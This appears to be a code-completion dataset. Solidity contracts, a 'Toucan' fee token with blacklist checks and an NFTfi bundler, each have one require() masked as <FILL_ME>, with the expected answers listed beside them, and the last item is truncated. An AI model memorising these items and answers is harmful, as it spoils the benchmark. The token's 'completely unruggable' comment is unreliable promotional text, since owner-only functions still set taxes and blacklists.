function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
}
}
| !_sercIsBlacklisted(from),"sERC20: You have been blacklisted" | 437,560 | !_sercIsBlacklisted(from) |
"sERC20: You have been blacklisted" | // Toucan
// https://t.me/toucanportal
// We implement the sERC20 standard into our token, this makes the contract completely unruggable after liquidity is locked!
// Check their website to find out how: https://www.serc20.com
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
import "@serc-20/serc/SERC20.sol";
contract Toucan is SERC20 {
using SafeMath for uint256;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public devWallet;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public swapTokensAtAmount;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
mapping(address => uint256) private holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedFromMaxTx;
mapping(address => bool) public marketPairs;
event ExcludeFromFees(address indexed addr, bool isExcluded);
event SetMarketPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
constructor()
SERC20(
"Toucan",
"Tookie Tookie",
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
10,
10
)
{
}
receive() external payable {}
// Emergency function to remove stuck eth from contract
function withdrawStuckEth(uint256 amount) external payable onlyOwner {
}
// Override serc method
function sercSetTradingEnabled() public virtual override onlyOwner {
}
function setMarketPair(address pair, bool value) public onlyOwner {
}
function _setMarketPair(address pair, bool value) private {
}
function excludeFromMaxTx(address addr, bool isExcluded) public onlyOwner {
}
function excludeFromFees(address addr, bool isExcluded) public onlyOwner {
}
function disableTransferDelay() external onlyOwner returns (bool) {
}
function setBuyTax(uint256 buyDevTax, uint256 buyLiqTax)
external
onlyOwner
{
}
function setSellTax(uint256 sellDevTax, uint256 sellLiqTax)
external
onlyOwner
{
}
function updateDevWallet(address newWallet) external onlyOwner {
}
function isExcludedFromFees(address addr) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead)
) {
if (!_sercTradingEnabled()) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(_sercRouter()) &&
to != _sercPair()
) {
require(
holderLastTransferTimestamp[tx.origin] < block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (marketPairs[from] && !_isExcludedFromMaxTx[to]) {
require(
!_sercIsBlacklisted(to),
"sERC20: You have been blacklisted"
);
require(amount <= _sercMaxTx(), "Max transaction exceeded.");
require(
amount + balanceOf(to) <= _sercMaxWallet(),
"Max wallet exceeded"
);
}
//when sell
else if (marketPairs[to] && !_isExcludedFromMaxTx[from]) {
require(
!_sercIsBlacklisted(from),
"sERC20: You have been blacklisted"
);
require(amount <= _sercMaxTx(), "Max transaction exceeded.");
} else if (!_isExcludedFromMaxTx[to]) {
require(<FILL_ME>)
require(
amount + balanceOf(to) <= _sercMaxWallet(),
"Max wallet exceeded"
);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
!swapping &&
!marketPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
marketPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
uint256[] memory sellTaxes = _sercSellTax();
uint256 sellTotalFees = _sercSellTotalTax();
uint256[] memory buyTaxes = _sercBuyTax();
uint256 buyTotalFees = _sercBuyTotalTax();
if (marketPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellTaxes[1]) / sellTotalFees;
tokensForDev += (fees * sellTaxes[0]) / sellTotalFees;
}
// on buy
else if (marketPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyTaxes[1]) / buyTotalFees;
tokensForDev += (fees * buyTaxes[0]) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
}
}
| !_sercIsBlacklisted(to)&&!_sercIsBlacklisted(from),"sERC20: You have been blacklisted" | 437,560 | !_sercIsBlacklisted(to)&&!_sercIsBlacklisted(from) |
"has to implement IERC998ERC721TopDown" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./ERC998TopDown.sol";
import "./INftfiBundler.sol";
import "./IBundleBuilder.sol";
import "./IPermittedNFTs.sol";
import "./utils/Ownable.sol";
import "./airdrop/AirdropFlashLoan.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title NftfiBundler
* @author NFTfi
* @dev ERC998 Top-Down Composable Non-Fungible Token that supports ERC721 children.
*/
contract NftfiBundler is ERC998TopDown, IBundleBuilder {
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableSet for EnumerableSet.AddressSet;
using SafeERC20 for IERC20;
using Strings for uint256;
address public immutable permittedNfts;
address public immutable airdropFlashLoan;
string public baseURI;
/**
* @dev Stores name and symbol
*
* @param _admin - Initial admin of this contract.
* @param _name name of the token contract
* @param _symbol symbol of the token contract
*/
constructor(
address _admin,
string memory _name,
string memory _symbol,
string memory _customBaseURI,
address _permittedNfts,
address _airdropFlashLoan
) ERC721(_name, _symbol) ERC998TopDown(_admin) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override returns (bool) {
}
/**
* @notice Tells if an asset is permitted or not
* @param _asset address of the asset
* @return true if permitted, false otherwise
*/
function permittedAsset(address _asset) public view returns (bool) {
}
/**
* @dev used to build a bundle from the BundleElements struct,
* returns the id of the created bundle
*
* @param _bundleElements - the lists of erc721 tokens that are to be bundled
*/
function buildBundle(BundleElementERC721[] memory _bundleElements) external override returns (uint256) {
}
/**
* @dev Adds a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to add the bundle elements to.
* @param _bundleElements The array of BundleElementERC721 objects to add.
*/
function addBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) external {
}
/**
* @dev Removes a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to remove the bundle elements from.
* @param _bundleElements The array of BundleElementERC721 objects to remove.
*/
function removeBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) external {
}
/**
* @dev Adds and removes a set of BundleElementERC721 objects from the specified token ID.
*
* @param _tokenId The ID of the token to add and remove the bundle elements from.
* @param _toAdd The array of BundleElementERC721 objects to add.
* @param _toRemove The array of BundleElementERC721 objects to remove.
*/
function addAndRemoveBundleElements(
uint256 _tokenId,
BundleElementERC721[] memory _toAdd,
BundleElementERC721[] memory _toRemove
) external {
}
/**
* @notice Remove all the children from the bundle
* @dev This method may run out of gas if the list of children is too big. In that case, children can be removed
* individually.
* @param _tokenId the id of the bundle
* @param _receiver address of the receiver of the children
*/
function decomposeBundle(uint256 _tokenId, address _receiver) external override {
}
/**
* @notice Remove all the children from the bundle and send to personla bundler.
* If bundle contains a legacy ERC721 element, this will not work.
* @dev This method may run out of gas if the list of children is too big. In that case, children can be removed
* individually.
* @param _tokenId the id of the bundle
* @param _personalBundler address of the receiver of the children
*/
function sendElementsToPersonalBundler(uint256 _tokenId, address _personalBundler) external virtual {
_validateReceiver(_personalBundler);
_validateTransferSender(_tokenId);
require(_personalBundler != address(this), "cannot send to self");
require(<FILL_ME>)
uint256 personalBundleId = 1;
//make sure sendeer owns personal bundler token
require(IERC721(_personalBundler).ownerOf(personalBundleId) == msg.sender, "has to own personal bundle token");
// In each iteration all contracts children are removed, so eventually all contracts are removed
while (childContracts[_tokenId].length() > 0) {
address childContract = childContracts[_tokenId].at(0);
// In each iteration a child is removed, so eventually all contracts children are removed
while (childTokens[_tokenId][childContract].length() > 0) {
uint256 childId = childTokens[_tokenId][childContract].at(0);
_removeChild(_tokenId, childContract, childId);
try
IERC721(childContract).safeTransferFrom(
address(this),
_personalBundler,
childId,
abi.encodePacked(personalBundleId)
)
{
// solhint-disable-previous-line no-empty-blocks
} catch {
revert("only safe transfer");
}
emit TransferChild(_tokenId, _personalBundler, childContract, childId);
}
}
}
/**
* @dev Internal function to add a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to add the bundle elements to.
* @param _bundleElements The array of BundleElementERC721 objects to add.
*/
function _addBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) internal {
}
/**
* @dev Internal function to remove a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to remove the bundle elements from.
* @param _bundleElements The array of BundleElementERC721 objects to remove.
*/
function _removeBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) internal {
}
/**
* @dev Update the state to receive a ERC721 child
* Overrides the implementation to check if the asset is permitted
* @param _from The owner of the child token
* @param _tokenId The token receiving the child
* @param _childContract The ERC721 contract of the child token
* @param _childTokenId The token that is being transferred to the parent
*/
function _receiveChild(
address _from,
uint256 _tokenId,
address _childContract,
uint256 _childTokenId
) internal virtual override {
}
/**
* @dev Override validation if it is a transfer from the airdropFlashLoan contract giving back the flashloan.
* Validates the data from a child transfer and receives it otherwise
* @param _from The owner of the child token
* @param _childContract The ERC721 contract of the child token
* @param _childTokenId The token that is being transferred to the parent
* @param _data Up to the first 32 bytes contains an integer which is the receiving parent tokenId
*/
function _validateAndReceiveChild(
address _from,
address _childContract,
uint256 _childTokenId,
bytes memory _data
) internal virtual override {
}
/**
* @notice this function initiates a flashloan to pull an airdrop from a tartget contract
*
* @param _nftContract - contract address of the target nft of the drop
* @param _nftId - id of the target nft of the drop
* @param _target - address of the airdropping contract
* @param _data - function selector to be called on the airdropping contract
* @param _nftAirdrop - address of the used claiming nft in the drop
* @param _nftAirdropId - id of the used claiming nft in the drop
* @param _is1155 -
* @param _nftAirdropAmount - amount in case of 1155
*/
function pullAirdrop(
address _nftContract,
uint256 _nftId,
address _target,
bytes calldata _data,
address _nftAirdrop,
uint256 _nftAirdropId,
bool _is1155,
uint256 _nftAirdropAmount,
address _beneficiary
) external {
}
/**
* @notice used by the owner account to be able to drain ERC721 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _tokenId - id token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC721(
address _tokenAddress,
uint256 _tokenId,
address _receiver
) external onlyOwner {
}
/**
* @notice used by the owner account to be able to drain ERC20 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC20(address _tokenAddress, address _receiver) external onlyOwner {
}
/**
* @dev Sets baseURI.
* @param _customBaseURI - Base URI
*/
function setBaseURI(string memory _customBaseURI) external onlyOwner {
}
/**
* @dev Sets baseURI.
*/
function _setBaseURI(string memory _customBaseURI) internal virtual {
}
/** @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev This function gets the current chain ID.
*/
function _getChainID() internal view returns (uint256) {
}
}
| IERC165(_personalBundler).supportsInterface(type(IERC998ERC721TopDown).interfaceId),"has to implement IERC998ERC721TopDown" | 437,591 | IERC165(_personalBundler).supportsInterface(type(IERC998ERC721TopDown).interfaceId) |
"has to own personal bundle token" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./ERC998TopDown.sol";
import "./INftfiBundler.sol";
import "./IBundleBuilder.sol";
import "./IPermittedNFTs.sol";
import "./utils/Ownable.sol";
import "./airdrop/AirdropFlashLoan.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title NftfiBundler
* @author NFTfi
* @dev ERC998 Top-Down Composable Non-Fungible Token that supports ERC721 children.
*/
contract NftfiBundler is ERC998TopDown, IBundleBuilder {
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableSet for EnumerableSet.AddressSet;
using SafeERC20 for IERC20;
using Strings for uint256;
address public immutable permittedNfts;
address public immutable airdropFlashLoan;
string public baseURI;
/**
* @dev Stores name and symbol
*
* @param _admin - Initial admin of this contract.
* @param _name name of the token contract
* @param _symbol symbol of the token contract
*/
constructor(
address _admin,
string memory _name,
string memory _symbol,
string memory _customBaseURI,
address _permittedNfts,
address _airdropFlashLoan
) ERC721(_name, _symbol) ERC998TopDown(_admin) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override returns (bool) {
}
/**
* @notice Tells if an asset is permitted or not
* @param _asset address of the asset
* @return true if permitted, false otherwise
*/
function permittedAsset(address _asset) public view returns (bool) {
}
/**
* @dev used to build a bundle from the BundleElements struct,
* returns the id of the created bundle
*
* @param _bundleElements - the lists of erc721 tokens that are to be bundled
*/
function buildBundle(BundleElementERC721[] memory _bundleElements) external override returns (uint256) {
}
/**
* @dev Adds a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to add the bundle elements to.
* @param _bundleElements The array of BundleElementERC721 objects to add.
*/
function addBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) external {
}
/**
* @dev Removes a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to remove the bundle elements from.
* @param _bundleElements The array of BundleElementERC721 objects to remove.
*/
function removeBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) external {
}
/**
* @dev Adds and removes a set of BundleElementERC721 objects from the specified token ID.
*
* @param _tokenId The ID of the token to add and remove the bundle elements from.
* @param _toAdd The array of BundleElementERC721 objects to add.
* @param _toRemove The array of BundleElementERC721 objects to remove.
*/
function addAndRemoveBundleElements(
uint256 _tokenId,
BundleElementERC721[] memory _toAdd,
BundleElementERC721[] memory _toRemove
) external {
}
/**
* @notice Remove all the children from the bundle
* @dev This method may run out of gas if the list of children is too big. In that case, children can be removed
* individually.
* @param _tokenId the id of the bundle
* @param _receiver address of the receiver of the children
*/
function decomposeBundle(uint256 _tokenId, address _receiver) external override {
}
/**
* @notice Remove all the children from the bundle and send to personla bundler.
* If bundle contains a legacy ERC721 element, this will not work.
* @dev This method may run out of gas if the list of children is too big. In that case, children can be removed
* individually.
* @param _tokenId the id of the bundle
* @param _personalBundler address of the receiver of the children
*/
function sendElementsToPersonalBundler(uint256 _tokenId, address _personalBundler) external virtual {
_validateReceiver(_personalBundler);
_validateTransferSender(_tokenId);
require(_personalBundler != address(this), "cannot send to self");
require(
IERC165(_personalBundler).supportsInterface(type(IERC998ERC721TopDown).interfaceId),
"has to implement IERC998ERC721TopDown"
);
uint256 personalBundleId = 1;
//make sure sendeer owns personal bundler token
require(<FILL_ME>)
// In each iteration all contracts children are removed, so eventually all contracts are removed
while (childContracts[_tokenId].length() > 0) {
address childContract = childContracts[_tokenId].at(0);
// In each iteration a child is removed, so eventually all contracts children are removed
while (childTokens[_tokenId][childContract].length() > 0) {
uint256 childId = childTokens[_tokenId][childContract].at(0);
_removeChild(_tokenId, childContract, childId);
try
IERC721(childContract).safeTransferFrom(
address(this),
_personalBundler,
childId,
abi.encodePacked(personalBundleId)
)
{
// solhint-disable-previous-line no-empty-blocks
} catch {
revert("only safe transfer");
}
emit TransferChild(_tokenId, _personalBundler, childContract, childId);
}
}
}
/**
* @dev Internal function to add a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to add the bundle elements to.
* @param _bundleElements The array of BundleElementERC721 objects to add.
*/
function _addBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) internal {
}
/**
* @dev Internal function to remove a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to remove the bundle elements from.
* @param _bundleElements The array of BundleElementERC721 objects to remove.
*/
function _removeBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) internal {
}
/**
* @dev Update the state to receive a ERC721 child
* Overrides the implementation to check if the asset is permitted
* @param _from The owner of the child token
* @param _tokenId The token receiving the child
* @param _childContract The ERC721 contract of the child token
* @param _childTokenId The token that is being transferred to the parent
*/
function _receiveChild(
address _from,
uint256 _tokenId,
address _childContract,
uint256 _childTokenId
) internal virtual override {
}
/**
* @dev Override validation if it is a transfer from the airdropFlashLoan contract giving back the flashloan.
* Validates the data from a child transfer and receives it otherwise
* @param _from The owner of the child token
* @param _childContract The ERC721 contract of the child token
* @param _childTokenId The token that is being transferred to the parent
* @param _data Up to the first 32 bytes contains an integer which is the receiving parent tokenId
*/
function _validateAndReceiveChild(
address _from,
address _childContract,
uint256 _childTokenId,
bytes memory _data
) internal virtual override {
}
/**
* @notice this function initiates a flashloan to pull an airdrop from a tartget contract
*
* @param _nftContract - contract address of the target nft of the drop
* @param _nftId - id of the target nft of the drop
* @param _target - address of the airdropping contract
* @param _data - function selector to be called on the airdropping contract
* @param _nftAirdrop - address of the used claiming nft in the drop
* @param _nftAirdropId - id of the used claiming nft in the drop
* @param _is1155 -
* @param _nftAirdropAmount - amount in case of 1155
*/
function pullAirdrop(
address _nftContract,
uint256 _nftId,
address _target,
bytes calldata _data,
address _nftAirdrop,
uint256 _nftAirdropId,
bool _is1155,
uint256 _nftAirdropAmount,
address _beneficiary
) external {
}
/**
* @notice used by the owner account to be able to drain ERC721 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _tokenId - id token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC721(
address _tokenAddress,
uint256 _tokenId,
address _receiver
) external onlyOwner {
}
/**
* @notice used by the owner account to be able to drain ERC20 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC20(address _tokenAddress, address _receiver) external onlyOwner {
}
/**
* @dev Sets baseURI.
* @param _customBaseURI - Base URI
*/
function setBaseURI(string memory _customBaseURI) external onlyOwner {
}
/**
* @dev Sets baseURI.
*/
function _setBaseURI(string memory _customBaseURI) internal virtual {
}
/** @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev This function gets the current chain ID.
*/
function _getChainID() internal view returns (uint256) {
}
}
| IERC721(_personalBundler).ownerOf(personalBundleId)==msg.sender,"has to own personal bundle token" | 437,591 | IERC721(_personalBundler).ownerOf(personalBundleId)==msg.sender |
"erc721 not permitted" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./ERC998TopDown.sol";
import "./INftfiBundler.sol";
import "./IBundleBuilder.sol";
import "./IPermittedNFTs.sol";
import "./utils/Ownable.sol";
import "./airdrop/AirdropFlashLoan.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title NftfiBundler
* @author NFTfi
* @dev ERC998 Top-Down Composable Non-Fungible Token that supports ERC721 children.
*/
contract NftfiBundler is ERC998TopDown, IBundleBuilder {
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableSet for EnumerableSet.AddressSet;
using SafeERC20 for IERC20;
using Strings for uint256;
address public immutable permittedNfts;
address public immutable airdropFlashLoan;
string public baseURI;
/**
* @dev Stores name and symbol
*
* @param _admin - Initial admin of this contract.
* @param _name name of the token contract
* @param _symbol symbol of the token contract
*/
constructor(
address _admin,
string memory _name,
string memory _symbol,
string memory _customBaseURI,
address _permittedNfts,
address _airdropFlashLoan
) ERC721(_name, _symbol) ERC998TopDown(_admin) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override returns (bool) {
}
/**
* @notice Tells if an asset is permitted or not
* @param _asset address of the asset
* @return true if permitted, false otherwise
*/
function permittedAsset(address _asset) public view returns (bool) {
}
/**
* @dev used to build a bundle from the BundleElements struct,
* returns the id of the created bundle
*
* @param _bundleElements - the lists of erc721 tokens that are to be bundled
*/
function buildBundle(BundleElementERC721[] memory _bundleElements) external override returns (uint256) {
}
/**
* @dev Adds a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to add the bundle elements to.
* @param _bundleElements The array of BundleElementERC721 objects to add.
*/
function addBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) external {
}
/**
* @dev Removes a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to remove the bundle elements from.
* @param _bundleElements The array of BundleElementERC721 objects to remove.
*/
function removeBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) external {
}
/**
* @dev Adds and removes a set of BundleElementERC721 objects from the specified token ID.
*
* @param _tokenId The ID of the token to add and remove the bundle elements from.
* @param _toAdd The array of BundleElementERC721 objects to add.
* @param _toRemove The array of BundleElementERC721 objects to remove.
*/
function addAndRemoveBundleElements(
uint256 _tokenId,
BundleElementERC721[] memory _toAdd,
BundleElementERC721[] memory _toRemove
) external {
}
/**
* @notice Remove all the children from the bundle
* @dev This method may run out of gas if the list of children is too big. In that case, children can be removed
* individually.
* @param _tokenId the id of the bundle
* @param _receiver address of the receiver of the children
*/
function decomposeBundle(uint256 _tokenId, address _receiver) external override {
}
/**
* @notice Remove all the children from the bundle and send to personla bundler.
* If bundle contains a legacy ERC721 element, this will not work.
* @dev This method may run out of gas if the list of children is too big. In that case, children can be removed
* individually.
* @param _tokenId the id of the bundle
* @param _personalBundler address of the receiver of the children
*/
function sendElementsToPersonalBundler(uint256 _tokenId, address _personalBundler) external virtual {
}
/**
* @dev Internal function to add a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to add the bundle elements to.
* @param _bundleElements The array of BundleElementERC721 objects to add.
*/
function _addBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) internal {
require(_bundleElements.length > 0, "bundle is empty");
uint256 elementNumber = _bundleElements.length;
for (uint256 i; i != elementNumber; ++i) {
require(<FILL_ME>)
if (_bundleElements[i].safeTransferable) {
uint256 nuberOfIds = _bundleElements[i].ids.length;
for (uint256 j; j != nuberOfIds; ++j) {
IERC721(_bundleElements[i].tokenContract).safeTransferFrom(
msg.sender,
address(this),
_bundleElements[i].ids[j],
abi.encodePacked(_tokenId)
);
}
} else {
uint256 nuberOfIds = _bundleElements[i].ids.length;
for (uint256 j; j != nuberOfIds; ++j) {
getChild(msg.sender, _tokenId, _bundleElements[i].tokenContract, _bundleElements[i].ids[j]);
}
}
}
emit AddBundleElements(_tokenId, _bundleElements);
}
/**
* @dev Internal function to remove a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to remove the bundle elements from.
* @param _bundleElements The array of BundleElementERC721 objects to remove.
*/
function _removeBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) internal {
}
/**
* @dev Update the state to receive a ERC721 child
* Overrides the implementation to check if the asset is permitted
* @param _from The owner of the child token
* @param _tokenId The token receiving the child
* @param _childContract The ERC721 contract of the child token
* @param _childTokenId The token that is being transferred to the parent
*/
function _receiveChild(
address _from,
uint256 _tokenId,
address _childContract,
uint256 _childTokenId
) internal virtual override {
}
/**
* @dev Override validation if it is a transfer from the airdropFlashLoan contract giving back the flashloan.
* Validates the data from a child transfer and receives it otherwise
* @param _from The owner of the child token
* @param _childContract The ERC721 contract of the child token
* @param _childTokenId The token that is being transferred to the parent
* @param _data Up to the first 32 bytes contains an integer which is the receiving parent tokenId
*/
function _validateAndReceiveChild(
address _from,
address _childContract,
uint256 _childTokenId,
bytes memory _data
) internal virtual override {
}
/**
* @notice this function initiates a flashloan to pull an airdrop from a tartget contract
*
* @param _nftContract - contract address of the target nft of the drop
* @param _nftId - id of the target nft of the drop
* @param _target - address of the airdropping contract
* @param _data - function selector to be called on the airdropping contract
* @param _nftAirdrop - address of the used claiming nft in the drop
* @param _nftAirdropId - id of the used claiming nft in the drop
* @param _is1155 -
* @param _nftAirdropAmount - amount in case of 1155
*/
function pullAirdrop(
address _nftContract,
uint256 _nftId,
address _target,
bytes calldata _data,
address _nftAirdrop,
uint256 _nftAirdropId,
bool _is1155,
uint256 _nftAirdropAmount,
address _beneficiary
) external {
}
/**
* @notice used by the owner account to be able to drain ERC721 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _tokenId - id token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC721(
address _tokenAddress,
uint256 _tokenId,
address _receiver
) external onlyOwner {
}
/**
* @notice used by the owner account to be able to drain ERC20 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC20(address _tokenAddress, address _receiver) external onlyOwner {
}
/**
* @dev Sets baseURI.
* @param _customBaseURI - Base URI
*/
function setBaseURI(string memory _customBaseURI) external onlyOwner {
}
/**
* @dev Sets baseURI.
*/
function _setBaseURI(string memory _customBaseURI) internal virtual {
}
/** @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev This function gets the current chain ID.
*/
function _getChainID() internal view returns (uint256) {
}
}
| permittedAsset(_bundleElements[i].tokenContract),"erc721 not permitted" | 437,591 | permittedAsset(_bundleElements[i].tokenContract) |
"erc721 not permitted" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./ERC998TopDown.sol";
import "./INftfiBundler.sol";
import "./IBundleBuilder.sol";
import "./IPermittedNFTs.sol";
import "./utils/Ownable.sol";
import "./airdrop/AirdropFlashLoan.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title NftfiBundler
* @author NFTfi
* @dev ERC998 Top-Down Composable Non-Fungible Token that supports ERC721 children.
*/
contract NftfiBundler is ERC998TopDown, IBundleBuilder {
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableSet for EnumerableSet.AddressSet;
using SafeERC20 for IERC20;
using Strings for uint256;
address public immutable permittedNfts;
address public immutable airdropFlashLoan;
string public baseURI;
/**
* @dev Stores name and symbol
*
* @param _admin - Initial admin of this contract.
* @param _name name of the token contract
* @param _symbol symbol of the token contract
*/
constructor(
address _admin,
string memory _name,
string memory _symbol,
string memory _customBaseURI,
address _permittedNfts,
address _airdropFlashLoan
) ERC721(_name, _symbol) ERC998TopDown(_admin) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override returns (bool) {
}
/**
* @notice Tells if an asset is permitted or not
* @param _asset address of the asset
* @return true if permitted, false otherwise
*/
function permittedAsset(address _asset) public view returns (bool) {
}
/**
* @dev used to build a bundle from the BundleElements struct,
* returns the id of the created bundle
*
* @param _bundleElements - the lists of erc721 tokens that are to be bundled
*/
function buildBundle(BundleElementERC721[] memory _bundleElements) external override returns (uint256) {
}
/**
* @dev Adds a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to add the bundle elements to.
* @param _bundleElements The array of BundleElementERC721 objects to add.
*/
function addBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) external {
}
/**
* @dev Removes a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to remove the bundle elements from.
* @param _bundleElements The array of BundleElementERC721 objects to remove.
*/
function removeBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) external {
}
/**
